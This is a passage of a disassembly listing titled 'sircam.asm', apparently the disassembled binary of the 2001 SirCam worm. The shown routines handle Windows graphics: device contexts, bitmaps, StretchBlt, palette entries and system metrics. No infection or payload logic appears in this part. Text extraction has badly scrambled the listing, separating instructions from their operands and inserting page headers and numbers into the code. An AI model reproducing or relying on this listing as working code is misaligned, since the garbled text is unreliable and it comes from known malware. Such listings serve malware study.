edx
ecx
ecx
fs:[eax], edx
offset loc_4144CF
loc_4144AF:
loc_4144BC:
sub_41442C
; CODE XREF: CODE:004144CD\031j
lea
eax, [ebp+var_104]
call
sub_4034C8
retn
endp ; sp = -110h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4144C8:
; DATA XREF: sub_41442C+15\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_4144BC
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4144CF:
; DATA XREF: sub_41442C+8B\030o
pop
mov
ebx
esp, ebp
sircam.asm
Fri Aug 10 12:42:44 2001
pop
retn
543
ebp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4144D4
proc near
; CODE XREF: sub_414790+96\031p
; sub_414790+14D\031p
push
mov
test
jnz
call
ebx
ebx, eax
ebx, ebx
short loc_4144E0
sub_41442C
mov
pop
retn
endp
eax, ebx
ebx
loc_4144E0:
sub_4144D4
; CODE XREF: sub_4144D4+5\030j
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_4144E4
proc near
var_34
var_30
var_2C
var_1C
var_18
var_14
var_10
var_C
var_8
var_4
=
=
=
=
=
=
=
=
=
=
; CODE XREF: sub_414790+B4\031p
; sub_414790+16B\031p
byte ptr -34h
dword ptr -30h
dword ptr -2Ch
dword ptr -1Ch
dword ptr -18h
dword ptr -14h
dword ptr -10h
dword ptr -0Ch
dword ptr -8
dword ptr -4
push
mov
add
push
push
push
mov
lea
movsd
movsd
mov
mov
push
call
mov
push
call
mov
xor
push
push
push
mov
lea
push
push
mov
push
call
test
jz
ebp
ebp,
esp,
ebx
esi
edi
esi,
edi,
esp
0FFFFFFCCh
edx
[ebp+var_C]
ebx, ecx
[ebp+var_4], eax
0
j_CreateCompatibleDC
[ebp+var_18], eax
0
j_CreateCompatibleDC
[ebp+var_1C], eax
eax, eax
ebp
offset loc_414632
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_34]
eax
18h
eax, [ebp+var_4]
eax
j_GetObjectA
bl, bl
short loc_414546
sircam.asm
Fri Aug 10 12:42:44 2001
544
push
0
push
1
push
1
mov
eax, [ebp+var_8]
push
eax
mov
eax, [ebp+var_C]
push
eax
call
j_CreateBitmap
mov
[ebp+var_10], eax
jmp
short loc_4145A8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414546:
push
call
mov
cmp
jnz
call
; CODE XREF: sub_4144E4+48\030j
0
j_GetDC
[ebp+var_14], eax
[ebp+var_14], 0
short loc_41455B
sub_41442C
xor
push
push
push
mov
mov
push
mov
push
mov
push
call
mov
cmp
jnz
call
; CODE XREF: sub_4144E4+70\030j
eax, eax
ebp
offset loc_4145A1
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_8]
eax
eax, [ebp+var_C]
eax
eax, [ebp+var_14]
eax
j_CreateCompatibleBitmap
[ebp+var_10], eax
[ebp+var_10], 0
short loc_414588
sub_41442C
xor
pop
pop
pop
mov
push
; CODE XREF: sub_4144E4+9D\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_4145A8
loc_41455B:
loc_414588:
loc_414595:
; CODE XREF: sub_4144E4+C2\031j
mov
eax, [ebp+var_14]
push
eax
push
0
call
j_ReleaseDC
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4145A1:
; DATA XREF: sub_4144E4+7A\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_414595
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4145A8:
; CODE XREF: sub_4144E4+60\030j
; DATA XREF: sub_4144E4+AC\030o
cmp
jz
mov
push
mov
push
call
mov
[ebp+var_10], 0
short loc_414612
eax, [ebp+var_4]
eax
eax, [ebp+var_18]
eax
j_SelectObject
ebx, eax
sircam.asm
Fri Aug 10 12:42:44 2001
mov
push
mov
push
call
mov
push
mov
push
mov
push
push
push
mov
push
mov
push
mov
push
push
push
mov
push
call
test
jz
push
mov
push
call
eax, [ebp+var_10]
eax
eax, [ebp+var_1C]
eax
j_SelectObject
esi, eax
0CC0020h
eax, [ebp+var_2C]
eax
eax, [ebp+var_30]
eax
0
0
eax, [ebp+var_18]
eax
eax, [ebp+var_8]
eax
eax, [ebp+var_C]
eax
0
0
eax, [ebp+var_1C]
eax
j_StretchBlt
ebx, ebx
short loc_414604
ebx
eax, [ebp+var_18]
eax
j_SelectObject
test
jz
push
mov
push
call
; CODE XREF: sub_4144E4+114\030j
esi, esi
short loc_414612
esi
eax, [ebp+var_1C]
eax
j_SelectObject
loc_414604:
loc_414612:
; CODE XREF: sub_4144E4+C8\030j
; sub_4144E4+122\030j
xor
pop
pop
pop
mov
push
loc_41461F:
sub_4144E4
545
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_414639
; CODE XREF: CODE:00414637\031j
mov
eax, [ebp+var_18]
push
eax
call
j_DeleteDC
mov
eax, [ebp+var_1C]
push
eax
call
j_DeleteDC
retn
endp ; sp = -48h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414632:
; DATA XREF: sub_4144E4+2C\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_41461F
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414639:
; DATA XREF: sub_4144E4+136\030o
mov
pop
pop
eax, [ebp-10h]
edi
esi
sircam.asm
Fri Aug 10 12:42:44 2001
546
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_414644
proc near
; CODE XREF: sub_414790+41\031p
mov
edx, eax
dec
dx
jz
short loc_414657
sub
dx, 3
jz
short loc_414657
sub
dx, 4
jnz
short loc_414661
loc_414657:
; CODE XREF: sub_414644+5\030j
; sub_414644+B\030j
mov
ecx, eax
mov
eax, 1
shl
eax, cl
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414661:
sub_414644
; CODE XREF: sub_414644+11\030j
xor
retn
endp
eax, eax
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_414664
proc near
dec
imul
add
not
and
test
jns
add
ecx
edx
eax, ecx
ecx
eax, ecx
eax, eax
short loc_414674
eax, 7
sar
retn
endp
eax, 3
loc_414674:
sub_414664
; CODE XREF: sub_414790+29\031p
; sub_414790+FE\031p ...
; CODE XREF: sub_414664+B\030j
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_414678
proc near
var_424
var_420
var_408
var_406
var_404
var_3E8
var_3E4
var_4
=
=
=
=
=
=
=
=
byte ptr -424h
byte ptr -420h
word ptr -408h
word ptr -406h
byte ptr -404h
dword ptr -3E8h
byte ptr -3E4h
dword ptr -4
push
mov
ebp
ebp, esp
sircam.asm
Fri Aug 10 12:42:44 2001
547
add
esp, 0FFFFFBF8h
push
ebx
mov
[ebp+var_408], 300h
mov
[ebp+var_406], 10h
lea
edx, [ebp+var_404]
mov
ecx, 40h
call
sub_4026B0
push
0
call
j_GetDC
mov
[ebp+var_4], eax
xor
eax, eax
push
ebp
push
offset loc_414775
push
dword ptr fs:[eax]
mov
fs:[eax], esp
push
68h
mov
eax, [ebp+var_4]
push
eax
call
j_GetDeviceCaps
mov
ebx, eax
cmp
ebx, 10h
jl
loc_41475C
lea
eax, [ebp+var_404]
push
eax
push
8
push
0
mov
eax, [ebp+var_4]
push
eax
call
j_GetSystemPaletteEntries
cmp
[ebp+var_3E8], 0C0C0C0h
jnz
short loc_41473E
lea
eax, [ebp+var_3E8]
push
eax
push
1
mov
eax, ebx
sub
eax, 8
push
eax
mov
eax, [ebp+var_4]
push
eax
call
j_GetSystemPaletteEntries
movzx
eax, [ebp+var_406]
lea
eax, [ebp+eax*4+var_420]
push
eax
push
7
sub
ebx, 7
push
ebx
mov
eax, [ebp+var_4]
push
eax
call
j_GetSystemPaletteEntries
lea
eax, [ebp+var_3E4]
push
eax
push
1
push
7
mov
eax, [ebp+var_4]
push
eax
call
j_GetSystemPaletteEntries
jmp
short loc_41475C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41473E:
movzx
lea
push
push
sub
push
mov
push
call
; CODE XREF: sub_414678+78\030j
eax, [ebp+var_406]
eax, [ebp+eax*4+var_424]
eax
8
ebx, 8
ebx
eax, [ebp+var_4]
eax
j_GetSystemPaletteEntries
sircam.asm
Fri Aug 10 12:42:44 2001
loc_41475C:
548
; CODE XREF: sub_414678+54\030j
; sub_414678+C4\030j
xor
pop
pop
pop
mov
push
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_41477C
loc_414769:
; CODE XREF: sub_414678+102\031j
mov
eax, [ebp+var_4]
push
eax
push
0
call
j_ReleaseDC
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414775:
; DATA XREF: sub_414678+39\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_414769
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41477C:
sub_414678
lea
push
call
pop
mov
pop
retn
endp
; DATA XREF: sub_414678+EC\030o
eax, [ebp+var_408]
eax
j_CreatePalette
ebx
esp, ebp
ebp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_414790
proc near
var_14
var_10
var_C
var_8
var_4
arg_0
=
=
=
=
=
=
dword
dword
dword
dword
dword
dword
push
mov
add
push
push
push
mov
mov
mov
mov
shr
mov
movzx
mov
mov
mov
call
mov
imul
mov
mov
ptr
ptr
ptr
ptr
ptr
ptr
; CODE XREF: CODE:00414BBB\031p
-14h
-10h
-0Ch
-8
-4
8
ebp
ebp, esp
esp, 0FFFFFFECh
ebx
esi
edi
[ebp+var_8], ecx
ebx, edx
[ebp+var_4], eax
eax, [ebp+var_4]
dword ptr [eax+8], 1
edx, [ebp+var_4]
edx, word ptr [edx+0Eh]
eax, [ebp+var_4]
eax, [eax+4]
ecx, 20h
sub_414664
edx, [ebp+var_4]
dword ptr [edx+8]
edx, [ebp+var_4]
[edx+14h], eax
sircam.asm
Fri Aug 10 12:42:44 2001
549
mov
mov
call
mov
push
call
mov
cmp
jnz
call
eax, [ebp+var_4]
ax, [eax+0Eh]
sub_414644
esi, eax
0
j_GetDC
[ebp+var_10], eax
[ebp+var_10], 0
short loc_4147ED
sub_4143D8
xor
push
push
push
mov
mov
mov
add
mov
shl
add
mov
push
mov
push
mov
push
push
mov
push
mov
push
call
call
mov
xor
push
push
push
mov
mov
xor
mov
call
mov
xor
pop
pop
pop
mov
push
; CODE XREF: sub_414790+56\030j
edx, edx
ebp
offset loc_41493C
dword ptr fs:[edx]
fs:[edx], esp
edi, [ebp+var_4]
eax, edi
eax, 28h
edx, esi
edx, 2
eax, edx
[ebp+var_14], eax
0
eax, [ebp+var_4]
edi
eax, [ebp+var_14]
eax
4
eax, [ebp+var_4]
eax
eax, [ebp+var_10]
eax
j_CreateDIBitmap
sub_4144D4
[ebp+var_C], eax
eax, eax
ebp
offset loc_414862
dword ptr fs:[eax]
fs:[eax], esp
edx, [ebp+arg_0]
ecx, ecx
eax, [ebp+var_C]
sub_4144E4
[ebx], eax
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_414869
loc_4147ED:
loc_414858:
; CODE XREF: sub_414790+D7\031j
mov
eax, [ebp+var_C]
push
eax
call
j_DeleteObject
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414862:
; DATA XREF: sub_414790+A1\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_414858
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414869:
; DATA XREF: sub_414790+C3\030o
mov
mov
eax, [ebp+var_4]
eax, [eax+14h]
sircam.asm
Fri Aug 10 12:42:44 2001
add
mov
mov
mov
mov
movzx
mov
mov
mov
call
mov
imul
mov
mov
mov
mov
mov
mov
mov
add
xor
mov
mov
push
mov
push
mov
push
push
mov
push
mov
push
call
call
mov
xor
push
push
push
mov
mov
mov
mov
call
mov
mov
xor
pop
pop
pop
mov
push
550
[ebp+var_14], eax
eax, [ebp+var_4]
bx, 1
[eax+0Eh], bx
eax, [ebp+var_4]
edx, bx
eax, [ebp+var_4]
eax, [eax+4]
ecx, 20h
sub_414664
edx, [ebp+var_4]
dword ptr [edx+8]
edx, [ebp+var_4]
[edx+14h], eax
eax, [ebp+var_4]
dword ptr [eax+20h], 2
eax, [ebp+var_4]
dword ptr [eax+24h], 2
eax, [ebp+var_4]
eax, 28h
edx, edx
[eax], edx
dword ptr [eax+4], 0FFFFFFh
0
ebx, [ebp+var_4]
ebx
eax, [ebp+var_14]
eax
4
eax, [ebp+var_4]
ebx
eax, [ebp+var_10]
eax
j_CreateDIBitmap
sub_4144D4
[ebp+var_C], eax
eax, eax
ebp
offset loc_41491C
dword ptr fs:[eax]
fs:[eax], esp
edx, [ebp+arg_0]
cl, 1
eax, [ebp+var_C]
sub_4144E4
edx, [ebp+var_8]
[edx], eax
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_414923
loc_414912:
; CODE XREF: sub_414790+191\031j
mov
eax, [ebp+var_C]
push
eax
call
j_DeleteObject
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41491C:
; DATA XREF: sub_414790+158\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_414912
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414923:
; DATA XREF: sub_414790+17D\030o
xor
pop
eax, eax
edx
sircam.asm
Fri Aug 10 12:42:44 2001
pop
pop
mov
push
551
ecx
ecx
fs:[eax], edx
offset loc_414943
loc_414930:
; CODE XREF: sub_414790+1B1\031j
mov
eax, [ebp+var_10]
push
eax
push
0
call
j_ReleaseDC
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41493C:
; DATA XREF: sub_414790+60\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_414930
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414943:
sub_414790
; DATA XREF: sub_414790+19B\030o
pop
pop
pop
mov
pop
retn
endp
edi
esi
ebx
esp, ebp
ebp
4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_41494C
proc near
test
jnz
mov
; CODE XREF: CODE:00414AE4\031p
; CODE:00414B05\031p
eax, eax
short locret_414955
eax, 7FFFFFFFh
locret_414955:
sub_41494C
; CODE XREF: sub_41494C+2\030j
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_414958
proc near
var_8
var_4
arg_0
= dword ptr -8
= dword ptr -4
= dword ptr 8
push
mov
add
push
push
push
mov
xor
mov
mov
mov
mov
sub
xor
mov
ebp
ebp, esp
esp, 0FFFFFFF8h
ebx
esi
edi
[ebp+var_4], eax
ecx, ecx
cl, [edx]
eax, [ebp+arg_0]
eax, [eax+8]
eax, [eax]
ecx, eax
ebx, ebx
bl, [edx+1]
; CODE XREF: CODE:00414B2C\031p
sircam.asm
Fri Aug 10 12:42:44 2001
mov
mov
sub
mov
movzx
mov
mov
sub
mov
movzx
mov
mov
sub
mov
mov
cdq
xor
sub
mov
mov
cdq
xor
sub
cmp
jg
test
jle
cmp
jl
edx, [ebp+arg_0]
edx, [edx+8]
ebx, [edx+4]
esi, [ebp+var_4]
esi, byte ptr [esi]
edx, [ebp+arg_0]
edx, [edx+8]
esi, eax
eax, [ebp+var_4]
eax, byte ptr [eax+1]
edx, [ebp+arg_0]
edx, [edx+8]
eax, [edx+4]
[ebp+var_8], eax
eax, ecx
mov
cdq
xor
sub
mov
mov
cdq
xor
sub
cmp
jg
test
jle
cmp
jle
eax, ebx
eax,
eax,
edi,
eax,
552
edx
edx
eax
esi
eax, edx
eax, edx
edi, eax
short loc_4149DB
ecx, ecx
short loc_4149BD
esi, ecx
short loc_4149DB
loc_4149BD:
; CODE XREF: sub_414958+5F\030j
eax,
eax,
ecx,
eax,
edx
edx
eax
[ebp+var_8]
eax, edx
eax, edx
ecx, eax
short loc_4149DB
ebx, ebx
short loc_4149DF
ebx, [ebp+var_8]
short loc_4149DF
loc_4149DB:
; CODE XREF: sub_414958+5B\030j
; sub_414958+63\030j ...
xor
eax, eax
jmp
short loc_4149E1
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4149DF:
; CODE XREF: sub_414958+7C\030j
; sub_414958+81\030j
mov
al, 1
pop
pop
pop
pop
pop
pop
retn
endp
edi
esi
ebx
ecx
ecx
ebp
loc_4149E1:
sub_414958
; CODE XREF: sub_414958+85\030j
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sircam.asm
Fri Aug 10 12:42:44 2001
553
; Attributes: bp-based frame
sub_4149E8
proc near
var_28
var_1C
var_14
var_10
var_C
var_8
var_4
arg_0
arg_4
=
=
=
=
=
=
=
=
=
dword
dword
dword
dword
dword
dword
dword
dword
dword
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
; CODE XREF: sub_415764+5D\031p
-28h
-1Ch
-14h
-10h
-0Ch
-8
-4
8
0Ch
push
ebp
mov
ebp, esp
add
esp, 0FFFFFF90h
push
ebx
push
esi
push
edi
mov
[ebp+var_C], ecx
mov
[ebp+var_8], edx
mov
[ebp+var_4], eax
mov
ebx, [ebp+arg_4]
mov
eax, [ebp+var_C]
shl
eax, 4
mov
[ebp+var_14], eax
mov
eax, [ebp+var_14]
call
sub_406D34
mov
[ebp+var_10], eax
xor
edx, edx
push
ebp
push
offset loc_414CDF
push
dword ptr fs:[edx]
mov
fs:[edx], esp
mov
edx, [ebp+var_10]
mov
ecx, [ebp+var_14]
mov
eax, [ebp+var_4]
mov
esi, [eax]
call
dword ptr [esi+4]
mov
eax, [ebx]
or
eax, [ebx+4]
jnz
short loc_414A4F
push
0Bh
call
j_GetSystemMetrics
mov
edx, [ebp+arg_0]
mov
[edx], eax
push
0Ch
call
j_GetSystemMetrics
mov
edx, [ebp+arg_0]
mov
[edx+4], eax
jmp
short loc_414A5C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414A4F:
; CODE XREF: sub_4149E8+4A\030j
mov
mov
mov
mov
mov
eax, [ebp+arg_0]
edx, [ebx]
[eax], edx
edx, [ebx+4]
[eax+4], edx
push
call
mov
cmp
jnz
call
; CODE XREF: sub_4149E8+65\030j
0
j_GetDC
[ebp+var_28], eax
[ebp+var_28], 0
short loc_414A71
sub_4143D8
loc_414A5C:
loc_414A71:
; CODE XREF: sub_4149E8+82\030j
sircam.asm
Fri Aug 10 12:42:44 2001
554
xor
edx, edx
push
ebp
push
offset loc_414AD1
push
dword ptr fs:[edx]
mov
fs:[edx], esp
push
0Eh
mov
eax, [ebp+var_28]
push
eax
call
j_GetDeviceCaps
mov
ebx, eax
push
0Ch
mov
eax, [ebp+var_28]
push
eax
call
j_GetDeviceCaps
imul
bx, ax
mov
eax, ebx
cmp
ax, 8
jbe
short loc_414AAC
mov
[ebp+var_1C], 7FFFFFFFh
jmp
short loc_414AB8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414AAC:
mov
mov
shl
mov
; CODE XREF: sub_4149E8+B9\030j
ecx, eax
eax, 1
eax, cl
[ebp+var_1C], eax
xor
pop
pop
pop
mov
push
; CODE XREF: sub_4149E8+C2\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_414AD8
loc_414AB8:
loc_414AC5:
sub_4149E8
; CODE XREF: CODE:00414AD6\031j
mov
eax, [ebp+var_28]
push
eax
push
0
call
j_ReleaseDC
retn
endp ; sp = -90h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414AD1:
; DATA XREF: sub_4149E8+8C\030o
jmp
loc_402F60
